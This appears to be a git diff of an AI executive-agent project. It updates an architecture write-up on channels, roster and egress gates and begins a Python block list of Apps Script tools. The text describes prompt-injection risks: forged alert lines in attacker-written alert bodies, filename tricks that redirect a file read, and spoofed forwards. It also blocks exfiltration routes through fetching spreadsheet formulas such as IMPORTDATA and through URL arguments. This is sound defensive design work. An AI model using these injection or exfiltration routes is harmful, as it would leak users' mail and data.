address.\n\nEvery use re-checks with Google that the credential opens the mailbox on the person's People entry, and refuses outright when that address is the Executive's own: a shared mailbox would make everything the Executive writes look like theirs. Drafts are threaded (`In-Reply-To`, `References` of whole ids ending with the parent, `threadId`) and stamped `X-OE-Ghostwritten`; there is no send method. A Gmail rate limit, even as a 403, is an error to retry rather than a reconnect. The voice learner and the thread shown to the ghostwriter keep only each sender's own words through `email_poller.sender_new_text`, the poller's quoted-reply stripper made public. Setup status shows it as **Your own Gmail (Act as me)**.",+ "markdown": "External channels connect callers to the Executive. Each inbound adapter resolves the sender to a Person via `find_person_by_{slack,discord,telegram,email}_id` and threads `person_id` into `Executive.chat()`.\n\n### Inbound channels\n\n- **Slack** (`integrations.slack_bot`) — async Bolt socket-mode (`AsyncApp` + `AsyncSocketModeHandler`) embedded in the lifespan; responds to `@mention`s, DMs, and thread continuations, with per-conversation session memory (see **Conversation state** below). Text only: there is no interactivity endpoint and no Block Kit, so nothing Slack sends carries a button.\n- **Discord** (`integrations.discord_bot`) — discord.py gateway embedded in the lifespan; per-thread auto-titling, session-scoped memory, author attribution, configurable `@mention` thread promotion.\n- **Telegram** — webhook gating + per-chat history.\n- **Google Chat** — webhook + service-account auth. It resolves no approval gates and has no roster gate (the webhook authenticates Google, not the sender), and it never populates the session's trusted alert ids, so `ack_alert`'s trust check — which now runs on every session rather than only those declaring an `origin_channel` — refuses there by default, and its `<channel>` block says plainly that a sign-off cannot be answered from it.\n- **Email** (`integrations.email_poller`) — Gmail poll loop over the Google Workspace MCP (it starts only once the MCP gateway is up); strips Reply-To, filters auto-replies. While the Executive is paused (`scheduler.pause`) it skips each poll and leaves the inbox unread, so held mail is processed on the first poll after resume; the chat adapters above are not paused. The Executive sees the whole message; peer memory records only `_email_memory_text` — the subject, the sender's new text (cut at the first quoted or forwarded message) and the attachment filenames — parsed without backtracking-prone regexes, since the text is sender-controlled, and only for a rostered sender, the only kind with a peer to record into. Outbound, the principal briefs and the client-rotation digest are emailed through the same gateway (`google_workspace__send_gmail_message`, from the Executive's own mailbox to the principal's address, subject `<brief title> — <date>`, the date in the user's zone) as formatted HTML — rendered from the brief's Markdown with raw HTML and images off, so text quoted from outside shows as text and opening the email loads nothing remote. Email is first when the principal prefers it, and otherwise the backup after every chat channel, tried only when Slack, Discord and Telegram are missing or fail; an in-band error from the tool counts as a failed send and the next channel is tried. An emailed brief is not a DM, so the per-Person outbound guard below does not apply — the gateway's roster egress gate does.\n\n Two senders get their own framing. Mail from one of the principal's **contacts** (a `kind=\"contact\"` People row — see Org) replaces the non-roster `[POLICY]` notice with a contact one: it names them (name and role/company), says not to reply unless the principal asks and not to tell anyone else, and asks for a summary for the principal instead. Both this turn and the forwarded-by-principal turn below are marked `Session.private_to_principal`: they can email, DM or invite only the principal, an alert they raise is private to the principal, and they are not offered the tools that reach anyone else or start work outside the turn (`schedule_tools.PRIVATE_TURN_WITHHELD_TOOLS`: broadcasts, meeting bookings, workflows, follow-ups, watches, artifacts, goal updates, skill drafts, connecting a new MCP server), and of the MCP tools only Google Workspace reads and the gated Gmail send (see MCP below). Every audit row about such mail is private to the principal (see Audit Log), the poller's two `integration_inbound` rows included (`_private_to_principal_mail`), so the audit log's other readers see none of it. The poller holds `audit.private_rows` for the whole handling of such a mail, because some rows are written before the turn binds its private session: the knowledge retrieval quotes the mail's From line, subject and opening. The rows themselves read exactly like an outside sender's: the `integration_inbound` row is the non-roster one (`accepted_non_roster`), and the notice opens with the non-roster notice's exact sentence. The poller handles each message with no session bound, so one message's private turn never marks the next message's rows. The turn stays unattributed (`person_id` None — no peer memory, no co-presence), and the gateway refuses mail to a contact on a poller turn anyway. Mail **forwarded by the principal** — the sender resolves to the principal and `_new_text_lines` reports a forwarded message — is wrapped in a `<forwarded_by_principal>` block: summarise it, draft a reply the principal could send (as text in the reply, never sent or saved as a Gmail draft), note any commitment or date, and offer to add the original sender as a contact (confirmed from the web app or the principal's Slack / Discord, since an email turn cannot change the People list). The reply still goes to the principal only. The From header is unauthenticated, so this framing grants nothing: a spoofed \"forward\" just gets the real principal a summary.\n\nSlack, Discord, and Telegram are roster-gated on inbound: an unrostered sender's message is silently dropped (`details.outcome=\"rejected_unknown_sender\"`). The gates look up **team members only** — a contact's Slack, Discord or Telegram id is treated as unknown, so a contact can never talk to the bot (nor count as a co-present peer). Email is not inbound-gated — non-roster mail flows through with a `[POLICY]` notice so triage can classify it. Slack/Discord thread continuations pass the shared `integrations.response_gate` (utility-fast model, biased toward replying).\n\n### Checking a channel is set up\n\nSettings → Setup status (`GET /setup/status`, `api/setup_checks.py`) gives each channel a light and a plain-language fix. It tests the credentials with one free read-only call — Slack `auth.test`; Telegram `getMe`, then `getWebhookInfo` (is a webhook registered, is it this app's `/webhook/telegram`, did a delivery fail in the past day); Discord `users/@me`, only while the bot is still connecting — and reads what the lifespan left on `app.state`: the Slack socket's `is_connected()`, the Discord bot's `is_ready()` together with its gateway socket being open (discord.py stays ready while it reconnects after a drop), or the exception its task stopped with (`LoginFailure`, `PrivilegedIntentsRequired`), and the MCP gateway. Because inbound is roster-gated, a connected Slack, Discord or Telegram is amber while nobody on the roster has its id (`slack_user_id`, `discord_user_id`, `telegram_chat_id`), or when its latest `integration_inbound` row is a `Rejected: …` from the past day whose sender still isn't on the roster — the page shows the sender's id, never message text. Local login with no `TELEGRAM_WEBHOOK_SECRET` is red for Telegram, since the local-login gate turns its webhook away. Google Chat and Gmail are checked from configuration: a numeric project number and a readable service-account key; the OAuth client (or service-account key) the workspace-mcp child signs in with.\n\nA channel setting written `KEY= # note` in a `.env` file arrives as the note's text, because python-dotenv strips only a comment that follows a value. `Settings` reads such a value as unset for the Slack, Telegram, Discord and Google Chat credentials, so the line no longer switches a channel on with its own comment as the token. `TELEGRAM_WEBHOOK_SECRET` is the exception, because read as unset a junk secret would turn the webhook's check off. It is kept instead, and since Telegram can only ever send 1–256 of `A-Z a-z 0-9 _ -` (what `setWebhook` accepts), a secret outside that set — a leftover comment, a pasted `<value from Step 2>` — could only be matched by someone who guessed it: while it is set the webhook refuses every update, neither the local-login gate nor the roster tools count it as proof (`Settings.telegram_webhook_secret_valid`), and Setup status shows it red (`.env.example` shipped four such lines; the notes now sit on their own lines).\n\n### Conversation state\n\nEvery adapter keys a deterministic `session_id` off the conversation surface and replays that session's stored turns into `Session.conversation_history`, so a follow-up (\"yes, go ahead\") lands with the question still in context. Slack's ids are `slack:dm:{user}`, `slack:thread:{channel}:{thread_ts}`, and `slack:channel:{channel}:{user}` for a mention that starts a thread; because the bot's reply roots a Slack thread at that message's `ts`, the turn is double-written to that thread's session too, so the first continuation inside it is not cold. A reply inside a thread THAT PERSON ROOTED also offers the parent `slack:channel:{channel}:{user}` id when matching an approval gate, since a gate raised on the mention recorded that session while the answer arrives under the thread's. The root-author check is load-bearing: widening on \"threaded and not a DM\" alone offered one person's channel session inside any thread in that channel, so a remark they made to a colleague could resolve their open gate and post the run's title into that colleague's thread. Discord has the same shape — its auto-thread router promotes a mention reply into a bot-owned thread — and the same alias. An @-mention inside a DM is handled once, by the DM path: Slack fires both events, and taking both forked the conversation across two session ids. The same id is the audit grouping key and the scope passed to `format_for_prompt`. A per-session `asyncio.Lock` serializes turns within one conversation — the inflight semaphore caps fan-out across the workspace, which does nothing to stop two messages in the same thread from both reading history before either writes it. Persistence happens after the reply is sent and its failure is logged, never surfaced: the user already has their answer.\n\nThis was absent on Slack until #136. Every message built a fresh `Session` and minted a per-*message* id (`thread_ts` falls back to the message's own `ts`, so a DM never repeated one), which meant a multi-turn confirmation could not work: the Executive asked whether to send a briefing to Slack, the user said yes, and the next turn had no record of the question.\n\n### What the model is told about the channel\n\nChat adapters pass a `<channel>` block (`integrations.channel_context`) in the **user turn** — never a cached system block. It names the surface, states that the person cannot see the app's cards or buttons, and draws the line the assistant kept crossing: briefing proposals and alerts are actioned on the briefing page; a proposal that books something can only be approved there; a workflow sign-off the Executive is explicitly waiting on *can* be answered in the conversation. The principal's DMs on Slack, Discord and Telegram also receive the open-alert digest (`briefing.context.format_open_alerts_for_prompt`) as the `<briefing>` block, gated to DMs because the board is company-wide and a shared channel must not pull it in. That digest is the ONLY trusted source of an `alert_id` for `ack_alert`. The briefing page's `[Discuss mode — alert_id=N]` primer is a pointer to which item is under discussion, not authority on its own: the server accepts that id only if it is also on the live board it derived itself. An id appearing anywhere else, including inside an alert's own body, is not trusted: alerts are minted from inbound email and chat, so their bodies are attacker-controlled. Two mechanisms enforce that rather than one prompt rule. Every field the digest interpolates is collapsed to a single line, because a newline in an attacker-written headline, suggested action, tag or review note would otherwise forge a whole extra `[N]` line — a fabricated instruction to clear somebody else's alert. And the live board the server derived is recorded on the session, so `ack_alert` refuses any id outside it — on EVERY session, web included; the web previously had no check at all. The recorded set is the whole live board (the cap `/today` renders as cards), not just the rows the digest printed, so a card past the digest's 30-row render cap is still ackable rather than sending the principal back to the page. Be precise about what this buys: it stops an id that is invented, closed, snoozed or expired, including one quoted out of an attacker-written alert body. It does NOT stop the model being argued into acking the wrong LIVE card — one alert's body can still make a case about another id that is genuinely open. Scoping trust to the single item under discussion would need the primer id carried server-side, which it is not.\n\n### Handler failures\n\nAn adapter's catch-all replies \"I encountered an error processing your request.\" On Slack that used to be the whole story — one uncorrelated log line, no audit row, and an unguarded error-send that could itself escape into Bolt. It now logs with the session, sender, channel, thread and mode, and writes an `integration_inbound` row with `details.outcome=\"handler_error\"`, joining the inbound row under the same `session_id`. Upstream, a single crashing tool handler no longer takes the turn down at all: the orchestrator's tool gathers use `return_exceptions=True`, hand the model an error `tool_result`, and audit it with `ok=false` (cancellation is re-raised, not swallowed).\n\n### Attachments\n\n`integrations.attachments` handles web chat, Discord, Telegram, Slack and Google Chat. Images become Anthropic vision blocks; documents (PDF/DOCX/TXT/MD/CSV) are inlined into the turn that carried them — under an `[Attached: <name>]` label, which the open-loop pass reads as \"not the speaker's words\" — and indexed into the ChromaDB `inbound_attachments` collection. 20 MB/file cap; web chat uses `POST /chat/upload`.\n\n**Scanned PDFs** are read, not reported empty. A PDF with no text layer goes through `knowledge.pdf_reader`: with `PDF_PROVIDER_READING=true` (opt-in, off by default) the deployment's own model reads it through its provider's PDF support (Anthropic natively, OpenRouter's `file-parser`, a local server only with `LOCAL_PDF_INPUT`); otherwise, and as the fallback, local OCR (pypdfium2 + RapidOCR, offline, no key) — so every deployment converts them. The label then reads `(converted from scanned pages)`, and an unreadable one says why. The index takes the text already extracted for the turn, so a scan is converted once. A file a channel delivered (everything here except `POST /chat/upload`, where the signed-in user sends it) converts at most `PDF_INBOUND_MAX_PAGES` (30) pages and draws on a rolling `PDF_INBOUND_PAGES_PER_HOUR` (300) budget shared by all senders, so sending scans cannot run up unbounded model spend or CPU.\n\nPer channel:\n- **Slack** — a `file_share` message (previously dropped outright for its `subtype`) is handled like any message; files download only after the roster gate and the response gate, with the bot token sent only to `https://files.slack.com/` (needs the `files:read` scope). History and peer memory record the words plus `(Attached files: …)`, never a document's text.\n- **Google Chat** — uploaded attachments download through `media.download` with the reply credentials (`chat.bot`), checked against the 20 MB cap per chunk, 5 per message; an attachment-only message is no longer dropped. The webhook authenticates Google, not the sender, so files are read only when the event's `user.email` is on the People roster (a team member); anyone else's files are named to the Executive, never downloaded. A Drive file shared into a message is left to the Drive tools, with its id.\n- **Email** — the poller (`integrations.email_attachments`) downloads up to 5 readable attachments of the message itself via `get_gmail_attachment_content` — workspace-mcp in stdio mode saves the file and answers `Saved to: <path>`, which must start its line, be the last such line and end in the answer's `Saved filename:` (the answer echoes the sender-chosen attachment name first, and a name carrying `Saved to: /…` must not redirect the read), then resolve inside the tool download folders — and appends their text to the turn (15k chars each). Only for a sender the principal knows (team, contact, principal); a stranger's files stay a list. It runs outside the model loop, so it works on private turns without adding the attachment tool to `PRIVATE_TURN_MCP_TOOLS`.\n- Anything else (a Drive PDF, a skipped attachment) — the Executive's `read_document` tool.\n\nIndexed chunks are keyed on `attachment:<bare filename>` and tagged `type=attachment`. An attachment's name is chosen by whoever sent the message and the name is the chunk-id namespace, so without the prefix an inbound `strategy-2026.md` would upsert over the curated company document of that name. The prefix separates inbound content from curated uploads and keeps provenance visible; it does not separate senders from one another.\n\nIsolation is the **collection**: `retriever.retrieve` never queries `inbound_attachments` at all, so an attachment cannot resurface as company knowledge in a later, unrelated turn. Attachment processing is roster-gated on Discord too — it previously ran before the gate, so an unrostered sender's file was downloaded and indexed before their message was dropped. These rows still have no operator surface: they are never written to `company/docs/`, so `GET /documents` does not list them.\n\nThis replaced a domain-based scheme that did not work. The chunks lived in `company_docs` under a domain outside the specialist set, on the premise that an unrecognised domain matched no filter. It matched every one — `ChromaDBStore.query` attaches a `where` clause only when a domain filter is present, and an Executive-level retrieval passes none — so attachments came back under “From your company documents”, top-ranked and indistinguishable from a curated upload. Legacy rows are migrated across on boot.\n\n### MCP gateway & outbound\n\nMCP runs in **both directions**. As a *client*, `orchestrator.mcp_gateway.MCPGateway` proxies MCP servers (Gmail, Calendar, Drive — whatever `mcp_servers.json` configures) as Executive tools, with egress gating on Gmail recipients, Calendar attendees, and Drive share grantees against the roster (and a refusal of public / whole-domain Drive sharing). The Gmail gate also accepts only a fixed set of argument keys, so workspace-mcp's `reply_all` (recipients taken from the thread, never checked) and `forward_message_id` / `include_forwarded_attachments` (forwarding any inbox message) are refused; a reply is `thread_id` plus an explicit, roster-checked `to`. Three more refusals close paths around those gates: every Apps Script tool (code running as the Executive's account, outside the gates, and since workspace-mcp 1.29.0 schedulable to keep running); any argument that makes the server fetch a URL (`fileUrl` / `file_url` on the Drive and import tools, a Gmail attachment given as a `url`), since the fetch can carry data out in its query string before any recipient gate matters; and text Google would mail to someone the roster never checked (`rsvp_comment` to an event's organizer, an out-of-office `decline_message` to whoever invites the Executive). Every gate reads its arguments by normalized spelling: workspace-mcp 1.29.0 renames a camelCase key such as `Attendees`, `userGoogleEmail` or `rsvpComment` to the real parameter, so a gate matching the exact key would never see it. Arguments that are not a JSON object are refused for the same reason. Google-side fetches are refused too: any key ending in `url` / `uri` at any depth whose value has a URL scheme (a Slides image or page background, a Docs or Forms image; a document hyperlink and a meeting link are stored, not fetched, and pass, as does a Drive file id), (a value is a URL after the characters a URL parser strips are removed, and `//host` counts), and on every tool that can write cells — the Sheets tools and the Drive create / update / import tools, which turn CSV into a Sheet — any string anywhere holding a formula call that fetches (`IMPORTDATA`, `IMPORTXML`, `IMPORTHTML`, `IMPORTFEED`, `IMAGE`), JSON-encoded or mid-CSV included: a string argument that encodes JSON is read as the server decodes it (one too large to read is refused), text is also scanned with character references decoded and comments / CDATA removed, and an upload that would become a native Sheet may only be text `content` — a `base64_content` or server-side `file_path` upload there is refused, since an XLSX hides its formulas behind zip members and XML encodings; a PNG to Drive or a DOCX to Docs is untouched. Not covered, unverified: whether Drive's HTML / Markdown import fetches an `<img src>` when it converts `content` into a Doc. A `manage_event` call that names no attendees is sent with `send_updates=\"none\"`, so the event's existing guests are not emailed text the gate never checked. The allow-list (`_egress_sets`) is every team member's email plus the Executive's own address, always; a **contact's** email joins it only when `people_tools.contacts_reachable_now()` is true — a turn the principal started on a verified surface (web chat, their own Slack or Discord, a verified private Telegram chat), or inside `grant_contact_egress()` (the decisions approve route, when the approver is the principal). On any other turn — an inbound email, a teammate, the scheduler, a workflow, the alert review — a contact's address is refused exactly like a stranger's, so the refusal cannot reveal that it belongs to a contact (contacts are private to the principal). A turn about the principal's private mail (`Session.private_to_principal`) narrows the list to the principal's own address and the Executive's. Such a turn may call only the MCP tools in `schedule_tools.PRIVATE_TURN_MCP_TOOLS`: Google Workspace reads (`search_gmail_messages`, `get_gmail_message_content`, `get_events`, `list_calendars`, `query_freebusy`, `search_drive_files`) and the two Gmail tools this gate narrows to the principal (`send_gmail_message`, `draft_gmail_message`). It is an exact allow-list, not a server: workspace-mcp runs at the `complete` tier, where a Google Chat message to a space, a Docs, Sheets or Drive write into a file already shared with others, `manage_event` on a shared calendar (its gate checks attendees and pins notifications, nothing else) reaches people with no recipient check; and every other server has none at all (a Slack or Notion server, the default `fetch` server, whose URL can carry the turn's content, a server loaded at runtime). Its `search_tools` results show only the allowed tools (`workflows.tool_catalog.filter_search_results`; output it cannot parse reads as no match), and a `call_tool` naming anything else is refused with an error tool_result and an audit row private to the principal (`schedule_tools.private_turn_withholds`), a missing name included. `search_tools` and `call_tool` stay offered, so the tool list and its cached prefix do not change. The typed calendar tool (`_resolve_attendees`) and the chat DM tools (`message_person`, `send_telegram_message`, `send_discord_dm` and their person-id recovery) apply the same rule — a contact's id reads as an unknown one off the principal's turn — and a private turn may DM or invite only the principal (`PRIVATE_TURN_REFUSAL` otherwise); `message_person` never falls back to a \"Needs you\" alert for a contact, who cannot sign in to see it. The Google Workspace server (`workspace-mcp`) behind those Gmail/Calendar/Drive tools runs **co-located inside the API** as a stdio child of the gateway — fitting the single-tenant model (one install = one company = one exec Google account), so there's no separate service to operate. It's baked into the API image and launched by `docker/workspace-mcp-launch.sh`, which selects single-user OAuth (token persisted at `/data/google_credentials`) or service-account domain-wide delegation from `GWORKSPACE_AUTH_MODE`. The gateway forwards the Google secrets to the child via `_FORWARDED_ENV_VARS`. Every `google_workspace__*` call acts as the Executive's own account. workspace-mcp takes the acting account per call (`user_google_email`) and nothing used to check it, so under domain-wide delegation a model-chosen address could open anyone's mailbox in the domain; `mcp_gateway._check_acting_account` now refuses a value naming any other address — before every other gate, with an `integration_outbound_blocked` audit row. An absent value stays allowed (the server's own account). As a *server*, `openexecutive.mcp_server` exposes OE's own company context and specialist council to external MCP clients at `/mcp` — the inverse direction; see the dedicated **MCP Server** section. The gateway launches extensible-mcp as a `uvx` subprocess whose fastembed tool-search index uses an embedding model baked into the API image and loaded offline, so it no longer re-downloads that model from the Hugging Face Hub on every cold start. extensible-mcp is pinned twice over: to a commit, which fixes its own code, and with `--exclude-newer`, which fixes the resolution of its dependencies — without the cutoff uvx re-resolves them against PyPI on every networked start, so a new release of any of them would reach running deployments on restart. Both live in `_EXTENSIBLE_MCP_LAUNCH_ARGS` in `orchestrator/mcp_gateway.py`, the Dockerfile's pre-warm uses the same arguments (a unit test enforces the match), so an image whose pre-warm succeeded starts the gateway with no network. The pre-warm is best-effort (`|| true`): an image built while GitHub was unreachable fetches the pinned commit on its first start instead. Updating the gateway is a deliberate bump of the commit and cutoff; `uv` itself is not pinned. Because the MCP stdio client does not inherit the parent environment, `MCPGateway.start()` explicitly forwards the embedding-cache/offline env vars (`FASTEMBED_CACHE_PATH`, `HF_HUB_OFFLINE`, …) into the child.\n\n**Emailing an artifact.** A Gmail send or draft may carry `attachments=[{\"artifact_id\": \"alert:12\", \"as\"?: \"docx\"}]`. `call_tool` runs the recipient gate first; only if it passes does `_expand_artifact_attachments` replace each such entry with the rendered file (`content` base64 + `filename` + `mime_type`, workspace-mcp's own attachment shape), produced by `artifact_records.render_artifact_file` — the same renderer as `/artifacts/{id}/download`. Only artifact rows resolve (never an arbitrary alert), links have no file, and an entry mixing `artifact_id` with other keys is refused. A stringified or single-object `attachments` is normalised first, so an artifact entry can never reach workspace-mcp unexpanded (it would silently drop it). At most 5 distinct artifacts per email (repeats are dropped) and 15 MB rendered in total; rendering runs off the event loop via `asyncio.to_thread`. A refusal writes `artifact_attachment_refused`; a successful send writes `artifact_attached` — both carry the recipients. Other attachment entries pass through unchanged.\n\n**Enablement, and why it degrades instead of dying.** `MCP_ENABLED` left unset is inferred from the presence of `mcp_servers_config_path` — dropping an `mcp_servers.json` next to `profile.yaml` turns MCP on with no further configuration. An **explicit** setting always wins in both directions: `MCP_ENABLED=false` keeps MCP off with the file still in place. It did not: `_resolve_mcp` tested `not self.mcp_enabled`, which cannot tell \"never set\" from \"set to false\", so the file's presence silently overrode the operator. The file is probed through `config.mcp_config_file_present`, never `Path.exists` directly — that re-raises an EACCES on a parent directory, and from inside a validator that comes out of `Settings()` itself, which `api/main.py` calls at module level. The check now reads `model_fields_set` (the fields the env actually supplied) and stores that on a private attr behind the read-only `mcp_auto_enabled` property, because the validator's own assignment joins that set and would otherwise make every auto-enable look explicit downstream.\n\nStartup is **best-effort**, in `main._start_mcp_gateway`. Two checks come before the subprocess: MCP off is a no-op, and a config defining no servers under `mcpServers` is logged and skipped — extensible-mcp's own loader raises on that and exits, and because the child is already gone the only thing that surfaces is anyio's \"Attempted to exit cancel scope in a different task\" from `stdio_client` unwinding, a traceback naming nothing about configuration. The start is also bounded (120s, generous because that child may still clone extensible-mcp on a cold start if the image's pre-warm failed): `ClientSession` carries no `read_timeout_seconds`, so `initialize()` waits forever on a child that is *alive but silent*, and an unbounded wait is a lifespan that never yields — the same healthcheck-never-passes symptom, which no `except` can see. A gateway that fails anyway is logged at ERROR with the config path, the servers it named, and whether the config file or an explicit `MCP_ENABLED` turned MCP on, then torn down under its own timeout; the API boots **without MCP tools and without the email poller** rather than refusing to boot. The guard catches `BaseException`, not `Exception`, re-raising a bare `CancelledError` first: the original failure came from anyio, which wraps a task group's failures in `BaseExceptionGroup` as soon as one is a `BaseException` — and that group is not an `Exception`, so `except Exception` would miss the very shape this contains. The teardown is contained too, since it runs from inside that `except` and would otherwise replace the actionable log with the crash it prevents. `configured_server_names` never raises either, and deliberately catches broadly: it reads an operator-owned path during startup, where an exception is the crash loop rather than a bug report — `Path.is_file` re-raises an EACCES on a parent directory, and `json.loads` answers deeply-nested input with `RecursionError`, which is not a `ValueError`. It tests `is_file()` so a directory or a symlink to a FIFO is never opened, and caps the read at 1 MiB. That exception used to propagate out of the lifespan and kill the container — under `restart: unless-stopped`, a crash loop whose only outward symptom was a healthcheck that never passed. Outbound tools: per-Person DMs (`send_slack_dm`, `send_discord_dm`, `send_telegram_message`) plus room-targeted `send_department_message` and `send_company_broadcast`. The per-Person DMs are additionally rate-limited and de-duplicated by the outbound anti-spam guard (below).\n\n### Outbound anti-spam guard\n\nEvery per-Person DM passes a deterministic guard (`orchestrator.outbound_guard.check_outbound_allowed`) after the roster gate and recipient-id recovery but before the network send — the single chokepoint **all** proactive DM paths reach (ad-hoc chat sends, the scheduler's followup/nudge dispatch, principal-brief delivery, the reflection turn, and research-finding routing). On a violation it returns a human-readable reason and the handler **suppresses** the send (`{\"status\":\"suppressed\",\"reason\":…}`), writes a `tool_invocation` audit row with `suppressed=true`, and writes **no** `done` activity row — so a blocked attempt never counts toward its own rate cap, and the Executive can read the reason and hold or `schedule_followup` for the recipient's next window. Three controls: **content dedup** (a near-identical message — whitespace/case-normalized, first 160 chars — already sent to the same recipient within `OUTBOUND_DEDUP_WINDOW_MINUTES`, default 360); a **per-recipient rate cap** (`OUTBOUND_MAX_PER_RECIPIENT_PER_WINDOW`, default 5, over `OUTBOUND_RATE_WINDOW_MINUTES`, default 60); and **quiet hours / availability** (`OUTBOUND_RESPECT_QUIET_HOURS`, default on — refuse while the recipient is on leave or outside their `people.channel` availability windows, surfacing the next open window). Delivery history is read from the existing `status='done'` `scheduled_actions` rows (`episodic.recent_sends_for_channel_ref`), so there is no new table. The guard is **fail-open**: any internal lookup error returns \"allow\", so it can never turn a working send into a crash or a silently-dropped message. Principal briefs and the internal heartbeat kinds use the `__internal__` channel and never reach these handlers, so they are unaffected.\n\n### Calendar & Google Meet\n\nThe Executive books meetings through two typed tools over the Calendar MCP. `create_calendar_event` schedules a **future** meeting (propose→approve by default, or auto-execute once that decision class is promoted) and may be used proactively when a stalled goal warrants a sync. `create_instant_meeting` spins up an **impromptu call starting now**, auto-executing without the approval step and skipping the business-hours/horizon caps, so the Executive can hand back a join link immediately. Both attach a **Google Meet** link by default (`add_google_meet`; opt out for in-person), parsed from the created event's `conferenceData` and surfaced to the caller plus persisted on the decision ledger. Either way the caps that matter still hold — roster membership, principal-protection, max attendees, and a daily booking ceiling.\n\n**Around-the-meeting participation.** The Executive doesn't join the call as a live voice; instead, on every successful booking it schedules a best-effort post-meeting follow-up (~5 min after the end) that DMs a human attendee asking for a quick recap — key decisions and action items. The reply flows back through the same cross-session DM context linkage described below, so the Executive can act on it (summarize, follow up) in a later turn. No meeting-transcript or Drive integration is required.\n\n### Cross-session DM context\n\nWhen the principal says \"DM Alex about X\" in one session, OE sends the DM and — if a live conversation is active and the recipient is not one of the principal's contacts (a contact cannot DM the bot, and quoting the principal's conversation into their email reply's unattended turn would put it in the audit log) — records an `outbound_context` linkage row (recipient, full outbound text, originating session id). Email is covered too but recorded one layer deeper — there is no `send_email` tool, so the linkage is written in `orchestrator.mcp_gateway` after a successful `google_workspace__send_gmail_message`, one row per `to`/`cc` recipient keyed by the bare lowercased address (OE's own address skipped). When Alex later replies on the 1:1 DM path — or by email — the shared helper `integrations.inbound_hydration.hydrate_user_message` (called by the Discord, Telegram, and Slack handlers, and by the email poller keyed on the sender address) looks up the most-recent `open` linkage for that sender within 72h and prepends an `<outbound_reply_context>` block — the outbound text plus a backstory excerpt from the originating session — to the message handed to `Executive.chat()`. So OE knows what the reply is about instead of starting from an empty per-person session. The block is context for the LLM turn only: peer memory strips it before recording what the person said (`strip_outbound_reply_context`, applied in `sync_turn`, `sync_department_turn` and to the prefetch query), so the Executive's own DM is never attributed to the person who replied to it. The block lands in the user turn (caching rule) and is injected into a copy only — the pristine reply is persisted to history. The linkage is one-shot (consumed on first matched reply, race-safe) so an unrelated later DM isn't re-hydrated. This is deterministic and independent of the per-person `peer_memory` (Honcho) layer.\n\nEvery adapter that persists a turn (Slack, Discord, Telegram, and the web route) records the message's **resolved sender** on `chat_messages.sender_person_id` — the rostered Person the adapter matched, or NULL for an unrostered sender — independently of the session owner, which falls back to the principal on Discord and Telegram so those threads stay visible. Attunement's open loops and feedback rely on this so an outsider's words are never read as someone on the roster's.\n\n### Your own Gmail (Act as me)\n\nA second, separate Gmail connection, for **Act as me** (see **Act as Me (Delegation)**): the principal's *own* mailbox, which `delegation.gmail.DelegateGmail` reads and drafts into over the Gmail REST API. It is never registered with the MCP gateway, so the model can reach it only through the typed `ghostwrite_email` handler — never by tool name through `call_tool`. The credential is one file per person in `DELEGATION_GOOGLE_CREDENTIALS_DIR` (default `company/delegation_google/`, `/data/delegation_google` in Docker), minted on a computer with a browser by `scripts/connect-own-gmail.py --email <you>` with the Executive's own OAuth client and the scopes `gmail.readonly` and `gmail.compose` — the same seed-it-yourself flow as the Executive's token, since the API serves no OAuth callback. It never lives in `WORKSPACE_MCP_CREDENTIALS_DIR`, where workspace-mcp picks a credential by address.\n\nEvery use re-checks with Google that the credential opens the mailbox on the person's People entry, and refuses outright when that address is the Executive's own: a shared mailbox would make everything the Executive writes look like theirs. Drafts are threaded (`In-Reply-To`, `References` of whole ids ending with the parent, `threadId`) and stamped `X-OE-Ghostwritten`; there is no send method. A Gmail rate limit, even as a 403, is an error to retry rather than a reconnect. The voice learner and the thread shown to the ghostwriter keep only each sender's own words through `email_poller.sender_new_text`, the poller's quoted-reply stripper made public. Setup status shows it as **Your own Gmail (Act as me)**.","mermaid": "flowchart TD\n Channels[\"Slack / Discord<br/>Telegram / GChat / Email\"]\n Resolve[\"find_person_by_*_id\"]\n Gate[\"roster gate\"]\n Drop[\"drop unrostered\"]\n Exec[\"Executive.chat()\"]\n Attach[\"attachments<br/>(vision / inbound_attachments)\"]\n MCP[\"MCP gateway\"]\n Guard[\"outbound anti-spam guard<br/>(dedup / rate cap / quiet hours)\"]\n Out[\"DM / department<br/>/ broadcast tools\"]\n Channels --> Resolve\n Resolve --> Gate\n Gate -- \"unknown sender\" --> Drop\n Gate -- \"Person\" --> Exec\n Gate --> Attach\n Attach --> Exec\n Exec --> MCP\n Exec --> Guard\n Guard -- \"suppress\" --> Drop\n Guard -- \"allow\" --> Out\n Out --> Channels\n Own[(\"Principal's own Gmail<br/>(Act as me: REST, drafts only)\")]\n Exec -- \"ghostwrite_email\" --> Own\n class Channels entry\n class Resolve compute\n class Gate compute\n class Drop external\n class Exec hot\n class Attach compute\n class MCP external\n class Guard compute\n class Out compute\n class Own external",- "generated_at": "2026-09-27T15:11:42Z"+ "generated_at": "2026-09-27T17:04:04Z"}diff --git a/packages/core/openexecutive/orchestrator/mcp_gateway.py b/packages/core/openexecutive/orchestrator/mcp_gateway.pyindex ae348c2b..731da9f1 100644--- a/packages/core/openexecutive/orchestrator/mcp_gateway.py+++ b/packages/core/openexecutive/orchestrator/mcp_gateway.py@@ -3,16 +3,19 @@ from __future__ import annotationsimport asyncioimport base64import contextlib+import htmlimport jsonimport loggingimport osimport re+import unicodedatafrom collections.abc import Iteratorfrom email.utils import getaddressesfrom pathlib import Pathfrom typing import Anyfrom openexecutive.config import get_settings, mcp_config_file_present+from openexecutive.utils.html_tags import strip_tagslogger = logging.getLogger(__name__)@@ -118,6 +121,116 @@ _GATED_DRIVE_TOOLS = frozenset({"google_workspace__set_drive_file_permissions",})+# Apps Script tools run code as the Executive's Google account, outside every+# gate in this module: the code can mail anyone, read or share all of Drive+# and Gmail, and (manage_script_trigger, workspace-mcp 1.29.0) keep running+# after the turn ends. OE never calls them, so every one is refused. The set+# holds the 1.29.0 names and the 1.21.1 names they replaced; the name-pattern+# fallback in `_is_apps_script_tool` keeps a rename from reopening the path.+_BLOCKED_APPS_SCRIPT_TOOLS = frozenset({+ # 1.29.0+ "google_workspace__generate_trigger_code",+ "google_workspace__get_script_activity",+ "google_workspace__get_script_project",+ "google_workspace__get_script_version",+ "google_workspace__list_script_deployments",+ "google_workspace__manage_deployment",+ "google_workspace__manage_script_content",+ "google_workspace__manage_script_project",+ "google_workspace__manage_script_trigger",+ "google_workspace__manage_script_version",+ "google_workspace__run_script_function",+ # 1.21.1+ "google_workspace__create_script_project",+ "google_workspace__create_version",+ "google_workspace__delete_script_project",+ "google_workspace__get_script_content",+ "google_workspace__get_script_metrics",+ 